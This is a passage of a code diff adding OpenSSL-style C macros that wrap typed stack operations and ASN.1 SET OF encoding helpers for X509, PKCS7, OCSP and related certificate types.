sk_X509_POLICY_DATA_pop(st) SKM_sk_pop(X509_POLICY_DATA, (st)) +#define sk_X509_POLICY_DATA_sort(st) SKM_sk_sort(X509_POLICY_DATA, (st)) +#define sk_X509_POLICY_DATA_is_sorted(st) SKM_sk_is_sorted(X509_POLICY_DATA, (st)) + +#define sk_X509_POLICY_NODE_new(st) SKM_sk_new(X509_POLICY_NODE, (st)) +#define sk_X509_POLICY_NODE_new_null() SKM_sk_new_null(X509_POLICY_NODE) +#define sk_X509_POLICY_NODE_free(st) SKM_sk_free(X509_POLICY_NODE, (st)) +#define sk_X509_POLICY_NODE_num(st) SKM_sk_num(X509_POLICY_NODE, (st)) +#define sk_X509_POLICY_NODE_value(st, i) SKM_sk_value(X509_POLICY_NODE, (st), (i)) +#define sk_X509_POLICY_NODE_set(st, i, val) SKM_sk_set(X509_POLICY_NODE, (st), (i), (val)) +#define sk_X509_POLICY_NODE_zero(st) SKM_sk_zero(X509_POLICY_NODE, (st)) +#define sk_X509_POLICY_NODE_push(st, val) SKM_sk_push(X509_POLICY_NODE, (st), (val)) +#define sk_X509_POLICY_NODE_unshift(st, val) SKM_sk_unshift(X509_POLICY_NODE, (st), (val)) +#define sk_X509_POLICY_NODE_find(st, val) SKM_sk_find(X509_POLICY_NODE, (st), (val)) +#define sk_X509_POLICY_NODE_find_ex(st, val) SKM_sk_find_ex(X509_POLICY_NODE, (st), (val)) +#define sk_X509_POLICY_NODE_delete(st, i) SKM_sk_delete(X509_POLICY_NODE, (st), (i)) +#define sk_X509_POLICY_NODE_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_POLICY_NODE, (st), (ptr)) +#define sk_X509_POLICY_NODE_insert(st, val, i) SKM_sk_insert(X509_POLICY_NODE, (st), (val), (i)) +#define sk_X509_POLICY_NODE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_POLICY_NODE, (st), (cmp)) +#define sk_X509_POLICY_NODE_dup(st) SKM_sk_dup(X509_POLICY_NODE, st) +#define sk_X509_POLICY_NODE_pop_free(st, free_func) SKM_sk_pop_free(X509_POLICY_NODE, (st), (free_func)) +#define sk_X509_POLICY_NODE_shift(st) SKM_sk_shift(X509_POLICY_NODE, (st)) +#define sk_X509_POLICY_NODE_pop(st) SKM_sk_pop(X509_POLICY_NODE, (st)) +#define sk_X509_POLICY_NODE_sort(st) SKM_sk_sort(X509_POLICY_NODE, (st)) +#define sk_X509_POLICY_NODE_is_sorted(st) SKM_sk_is_sorted(X509_POLICY_NODE, (st)) + +#define sk_X509_POLICY_REF_new(st) SKM_sk_new(X509_POLICY_REF, (st)) +#define sk_X509_POLICY_REF_new_null() SKM_sk_new_null(X509_POLICY_REF) +#define sk_X509_POLICY_REF_free(st) SKM_sk_free(X509_POLICY_REF, (st)) +#define sk_X509_POLICY_REF_num(st) SKM_sk_num(X509_POLICY_REF, (st)) +#define sk_X509_POLICY_REF_value(st, i) SKM_sk_value(X509_POLICY_REF, (st), (i)) +#define sk_X509_POLICY_REF_set(st, i, val) SKM_sk_set(X509_POLICY_REF, (st), (i), (val)) +#define sk_X509_POLICY_REF_zero(st) SKM_sk_zero(X509_POLICY_REF, (st)) +#define sk_X509_POLICY_REF_push(st, val) SKM_sk_push(X509_POLICY_REF, (st), (val)) +#define sk_X509_POLICY_REF_unshift(st, val) SKM_sk_unshift(X509_POLICY_REF, (st), (val)) +#define sk_X509_POLICY_REF_find(st, val) SKM_sk_find(X509_POLICY_REF, (st), (val)) +#define sk_X509_POLICY_REF_find_ex(st, val) SKM_sk_find_ex(X509_POLICY_REF, (st), (val)) +#define sk_X509_POLICY_REF_delete(st, i) SKM_sk_delete(X509_POLICY_REF, (st), (i)) +#define sk_X509_POLICY_REF_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_POLICY_REF, (st), (ptr)) +#define sk_X509_POLICY_REF_insert(st, val, i) SKM_sk_insert(X509_POLICY_REF, (st), (val), (i)) +#define sk_X509_POLICY_REF_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_POLICY_REF, (st), (cmp)) +#define sk_X509_POLICY_REF_dup(st) SKM_sk_dup(X509_POLICY_REF, st) +#define sk_X509_POLICY_REF_pop_free(st, free_func) SKM_sk_pop_free(X509_POLICY_REF, (st), (free_func)) +#define sk_X509_POLICY_REF_shift(st) SKM_sk_shift(X509_POLICY_REF, (st)) +#define sk_X509_POLICY_REF_pop(st) SKM_sk_pop(X509_POLICY_REF, (st)) +#define sk_X509_POLICY_REF_sort(st) SKM_sk_sort(X509_POLICY_REF, (st)) +#define sk_X509_POLICY_REF_is_sorted(st) SKM_sk_is_sorted(X509_POLICY_REF, (st)) + +#define sk_X509_PURPOSE_new(st) SKM_sk_new(X509_PURPOSE, (st)) +#define sk_X509_PURPOSE_new_null() SKM_sk_new_null(X509_PURPOSE) +#define sk_X509_PURPOSE_free(st) SKM_sk_free(X509_PURPOSE, (st)) +#define sk_X509_PURPOSE_num(st) SKM_sk_num(X509_PURPOSE, (st)) +#define sk_X509_PURPOSE_value(st, i) SKM_sk_value(X509_PURPOSE, (st), (i)) +#define sk_X509_PURPOSE_set(st, i, val) SKM_sk_set(X509_PURPOSE, (st), (i), (val)) +#define sk_X509_PURPOSE_zero(st) SKM_sk_zero(X509_PURPOSE, (st)) +#define sk_X509_PURPOSE_push(st, val) SKM_sk_push(X509_PURPOSE, (st), (val)) +#define sk_X509_PURPOSE_unshift(st, val) SKM_sk_unshift(X509_PURPOSE, (st), (val)) +#define sk_X509_PURPOSE_find(st, val) SKM_sk_find(X509_PURPOSE, (st), (val)) +#define sk_X509_PURPOSE_find_ex(st, val) SKM_sk_find_ex(X509_PURPOSE, (st), (val)) +#define sk_X509_PURPOSE_delete(st, i) SKM_sk_delete(X509_PURPOSE, (st), (i)) +#define sk_X509_PURPOSE_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_PURPOSE, (st), (ptr)) +#define sk_X509_PURPOSE_insert(st, val, i) SKM_sk_insert(X509_PURPOSE, (st), (val), (i)) +#define sk_X509_PURPOSE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_PURPOSE, (st), (cmp)) +#define sk_X509_PURPOSE_dup(st) SKM_sk_dup(X509_PURPOSE, st) +#define sk_X509_PURPOSE_pop_free(st, free_func) SKM_sk_pop_free(X509_PURPOSE, (st), (free_func)) +#define sk_X509_PURPOSE_shift(st) SKM_sk_shift(X509_PURPOSE, (st)) +#define sk_X509_PURPOSE_pop(st) SKM_sk_pop(X509_PURPOSE, (st)) +#define sk_X509_PURPOSE_sort(st) SKM_sk_sort(X509_PURPOSE, (st)) +#define sk_X509_PURPOSE_is_sorted(st) SKM_sk_is_sorted(X509_PURPOSE, (st)) + +#define sk_X509_REVOKED_new(st) SKM_sk_new(X509_REVOKED, (st)) +#define sk_X509_REVOKED_new_null() SKM_sk_new_null(X509_REVOKED) +#define sk_X509_REVOKED_free(st) SKM_sk_free(X509_REVOKED, (st)) +#define sk_X509_REVOKED_num(st) SKM_sk_num(X509_REVOKED, (st)) +#define sk_X509_REVOKED_value(st, i) SKM_sk_value(X509_REVOKED, (st), (i)) +#define sk_X509_REVOKED_set(st, i, val) SKM_sk_set(X509_REVOKED, (st), (i), (val)) +#define sk_X509_REVOKED_zero(st) SKM_sk_zero(X509_REVOKED, (st)) +#define sk_X509_REVOKED_push(st, val) SKM_sk_push(X509_REVOKED, (st), (val)) +#define sk_X509_REVOKED_unshift(st, val) SKM_sk_unshift(X509_REVOKED, (st), (val)) +#define sk_X509_REVOKED_find(st, val) SKM_sk_find(X509_REVOKED, (st), (val)) +#define sk_X509_REVOKED_find_ex(st, val) SKM_sk_find_ex(X509_REVOKED, (st), (val)) +#define sk_X509_REVOKED_delete(st, i) SKM_sk_delete(X509_REVOKED, (st), (i)) +#define sk_X509_REVOKED_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_REVOKED, (st), (ptr)) +#define sk_X509_REVOKED_insert(st, val, i) SKM_sk_insert(X509_REVOKED, (st), (val), (i)) +#define sk_X509_REVOKED_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_REVOKED, (st), (cmp)) +#define sk_X509_REVOKED_dup(st) SKM_sk_dup(X509_REVOKED, st) +#define sk_X509_REVOKED_pop_free(st, free_func) SKM_sk_pop_free(X509_REVOKED, (st), (free_func)) +#define sk_X509_REVOKED_shift(st) SKM_sk_shift(X509_REVOKED, (st)) +#define sk_X509_REVOKED_pop(st) SKM_sk_pop(X509_REVOKED, (st)) +#define sk_X509_REVOKED_sort(st) SKM_sk_sort(X509_REVOKED, (st)) +#define sk_X509_REVOKED_is_sorted(st) SKM_sk_is_sorted(X509_REVOKED, (st)) + +#define sk_X509_TRUST_new(st) SKM_sk_new(X509_TRUST, (st)) +#define sk_X509_TRUST_new_null() SKM_sk_new_null(X509_TRUST) +#define sk_X509_TRUST_free(st) SKM_sk_free(X509_TRUST, (st)) +#define sk_X509_TRUST_num(st) SKM_sk_num(X509_TRUST, (st)) +#define sk_X509_TRUST_value(st, i) SKM_sk_value(X509_TRUST, (st), (i)) +#define sk_X509_TRUST_set(st, i, val) SKM_sk_set(X509_TRUST, (st), (i), (val)) +#define sk_X509_TRUST_zero(st) SKM_sk_zero(X509_TRUST, (st)) +#define sk_X509_TRUST_push(st, val) SKM_sk_push(X509_TRUST, (st), (val)) +#define sk_X509_TRUST_unshift(st, val) SKM_sk_unshift(X509_TRUST, (st), (val)) +#define sk_X509_TRUST_find(st, val) SKM_sk_find(X509_TRUST, (st), (val)) +#define sk_X509_TRUST_find_ex(st, val) SKM_sk_find_ex(X509_TRUST, (st), (val)) +#define sk_X509_TRUST_delete(st, i) SKM_sk_delete(X509_TRUST, (st), (i)) +#define sk_X509_TRUST_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_TRUST, (st), (ptr)) +#define sk_X509_TRUST_insert(st, val, i) SKM_sk_insert(X509_TRUST, (st), (val), (i)) +#define sk_X509_TRUST_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_TRUST, (st), (cmp)) +#define sk_X509_TRUST_dup(st) SKM_sk_dup(X509_TRUST, st) +#define sk_X509_TRUST_pop_free(st, free_func) SKM_sk_pop_free(X509_TRUST, (st), (free_func)) +#define sk_X509_TRUST_shift(st) SKM_sk_shift(X509_TRUST, (st)) +#define sk_X509_TRUST_pop(st) SKM_sk_pop(X509_TRUST, (st)) +#define sk_X509_TRUST_sort(st) SKM_sk_sort(X509_TRUST, (st)) +#define sk_X509_TRUST_is_sorted(st) SKM_sk_is_sorted(X509_TRUST, (st)) + +#define sk_X509_VERIFY_PARAM_new(st) SKM_sk_new(X509_VERIFY_PARAM, (st)) +#define sk_X509_VERIFY_PARAM_new_null() SKM_sk_new_null(X509_VERIFY_PARAM) +#define sk_X509_VERIFY_PARAM_free(st) SKM_sk_free(X509_VERIFY_PARAM, (st)) +#define sk_X509_VERIFY_PARAM_num(st) SKM_sk_num(X509_VERIFY_PARAM, (st)) +#define sk_X509_VERIFY_PARAM_value(st, i) SKM_sk_value(X509_VERIFY_PARAM, (st), (i)) +#define sk_X509_VERIFY_PARAM_set(st, i, val) SKM_sk_set(X509_VERIFY_PARAM, (st), (i), (val)) +#define sk_X509_VERIFY_PARAM_zero(st) SKM_sk_zero(X509_VERIFY_PARAM, (st)) +#define sk_X509_VERIFY_PARAM_push(st, val) SKM_sk_push(X509_VERIFY_PARAM, (st), (val)) +#define sk_X509_VERIFY_PARAM_unshift(st, val) SKM_sk_unshift(X509_VERIFY_PARAM, (st), (val)) +#define sk_X509_VERIFY_PARAM_find(st, val) SKM_sk_find(X509_VERIFY_PARAM, (st), (val)) +#define sk_X509_VERIFY_PARAM_find_ex(st, val) SKM_sk_find_ex(X509_VERIFY_PARAM, (st), (val)) +#define sk_X509_VERIFY_PARAM_delete(st, i) SKM_sk_delete(X509_VERIFY_PARAM, (st), (i)) +#define sk_X509_VERIFY_PARAM_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_VERIFY_PARAM, (st), (ptr)) +#define sk_X509_VERIFY_PARAM_insert(st, val, i) SKM_sk_insert(X509_VERIFY_PARAM, (st), (val), (i)) +#define sk_X509_VERIFY_PARAM_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_VERIFY_PARAM, (st), (cmp)) +#define sk_X509_VERIFY_PARAM_dup(st) SKM_sk_dup(X509_VERIFY_PARAM, st) +#define sk_X509_VERIFY_PARAM_pop_free(st, free_func) SKM_sk_pop_free(X509_VERIFY_PARAM, (st), (free_func)) +#define sk_X509_VERIFY_PARAM_shift(st) SKM_sk_shift(X509_VERIFY_PARAM, (st)) +#define sk_X509_VERIFY_PARAM_pop(st) SKM_sk_pop(X509_VERIFY_PARAM, (st)) +#define sk_X509_VERIFY_PARAM_sort(st) SKM_sk_sort(X509_VERIFY_PARAM, (st)) +#define sk_X509_VERIFY_PARAM_is_sorted(st) SKM_sk_is_sorted(X509_VERIFY_PARAM, (st)) + +#define d2i_ASN1_SET_OF_ACCESS_DESCRIPTION(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(ACCESS_DESCRIPTION, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_ACCESS_DESCRIPTION(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(ACCESS_DESCRIPTION, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_ACCESS_DESCRIPTION(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(ACCESS_DESCRIPTION, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_ACCESS_DESCRIPTION(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(ACCESS_DESCRIPTION, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_ASN1_INTEGER(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(ASN1_INTEGER, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_ASN1_INTEGER(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(ASN1_INTEGER, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_ASN1_INTEGER(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(ASN1_INTEGER, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_ASN1_INTEGER(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(ASN1_INTEGER, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_ASN1_OBJECT(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(ASN1_OBJECT, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_ASN1_OBJECT(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(ASN1_OBJECT, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_ASN1_OBJECT(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(ASN1_OBJECT, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_ASN1_OBJECT(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(ASN1_OBJECT, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_ASN1_TYPE(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(ASN1_TYPE, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_ASN1_TYPE(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(ASN1_TYPE, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_ASN1_TYPE(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(ASN1_TYPE, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_ASN1_TYPE(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(ASN1_TYPE, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_DIST_POINT(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(DIST_POINT, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_DIST_POINT(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(DIST_POINT, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_DIST_POINT(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(DIST_POINT, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_DIST_POINT(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(DIST_POINT, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_GENERAL_NAME(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(GENERAL_NAME, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_GENERAL_NAME(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(GENERAL_NAME, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_GENERAL_NAME(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(GENERAL_NAME, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_GENERAL_NAME(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(GENERAL_NAME, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_OCSP_ONEREQ(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(OCSP_ONEREQ, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_OCSP_ONEREQ(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(OCSP_ONEREQ, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_OCSP_ONEREQ(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(OCSP_ONEREQ, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_OCSP_ONEREQ(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(OCSP_ONEREQ, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_OCSP_SINGLERESP(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(OCSP_SINGLERESP, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_OCSP_SINGLERESP(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(OCSP_SINGLERESP, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_OCSP_SINGLERESP(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(OCSP_SINGLERESP, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_OCSP_SINGLERESP(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(OCSP_SINGLERESP, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_PKCS12_SAFEBAG(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(PKCS12_SAFEBAG, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_PKCS12_SAFEBAG(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(PKCS12_SAFEBAG, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_PKCS12_SAFEBAG(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(PKCS12_SAFEBAG, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_PKCS12_SAFEBAG(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(PKCS12_SAFEBAG, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_PKCS7(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(PKCS7, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_PKCS7(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(PKCS7, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_PKCS7(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(PKCS7, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_PKCS7(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(PKCS7, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_PKCS7_RECIP_INFO(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(PKCS7_RECIP_INFO, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_PKCS7_RECIP_INFO(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(PKCS7_RECIP_INFO, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_PKCS7_RECIP_INFO(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(PKCS7_RECIP_INFO, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_PKCS7_RECIP_INFO(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(PKCS7_RECIP_INFO, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_PKCS7_SIGNER_INFO(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(PKCS7_SIGNER_INFO, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_PKCS7_SIGNER_INFO(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(PKCS7_SIGNER_INFO, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_PKCS7_SIGNER_INFO(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(PKCS7_SIGNER_INFO, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_PKCS7_SIGNER_INFO(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(PKCS7_SIGNER_INFO, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_POLICYINFO(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(POLICYINFO, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_POLICYINFO(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(POLICYINFO, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_POLICYINFO(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(POLICYINFO, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_POLICYINFO(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(POLICYINFO, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_POLICYQUALINFO(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(POLICYQUALINFO, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_POLICYQUALINFO(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(POLICYQUALINFO, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_POLICYQUALINFO(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(POLICYQUALINFO, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_POLICYQUALINFO(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(POLICYQUALINFO, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_SXNETID(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(SXNETID, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_SXNETID(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(SXNETID, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_SXNETID(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(SXNETID, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_SXNETID(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(SXNETID, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_X509(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(X509, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_X509(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(X509, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_X509(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(X509, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_X509(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(X509, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_X509_ALGOR(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(X509_ALGOR, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_X509_ALGOR(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(X509_ALGOR, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_X509_ALGOR(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(X509_ALGOR, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_X509_ALGOR(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(X509_ALGOR, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_X509_ATTRIBUTE(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(X509_ATTRIBUTE, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_X509_ATTRIBUTE(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(X509_ATTRIBUTE, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_X509_ATTRIBUTE(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(X509_ATTRIBUTE, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_X509_ATTRIBUTE(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(X509_ATTRIBUTE, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_X509_CRL(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(X509_CRL, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_X509_CRL(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(X509_CRL, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_X509_CRL(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(X509_CRL, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_X509_CRL(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(X509_CRL, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_X509_EXTENSION(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + SKM_ASN1_SET_OF_d2i(X509_EXTENSION, (st), (pp), (length), (d2i_func), (free_func), (ex_tag), (ex_class)) +#define i2d_ASN1_SET_OF_X509_EXTENSION(st, pp, i2d_func, ex_tag, ex_class, is_set) \ + SKM_ASN1_SET_OF_i2d(X509_EXTENSION, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set)) +#define ASN1_seq_pack_X509_EXTENSION(st, i2d_func, buf, len) \ + SKM_ASN1_seq_pack(X509_EXTENSION, (st), (i2d_func), (buf), (len)) +#define ASN1_seq_unpack_X509_EXTENSION(buf, len, d2i_func, free_func) \ + SKM_ASN1_seq_unpack(X509_EXTENSION, (buf), (len), (d2i_func), (free_func)) + +#define d2i_ASN1_SET_OF_X509_NAME_ENTRY(st, pp, length, d2i_func, free_func, ex_tag, ex_class) \ + 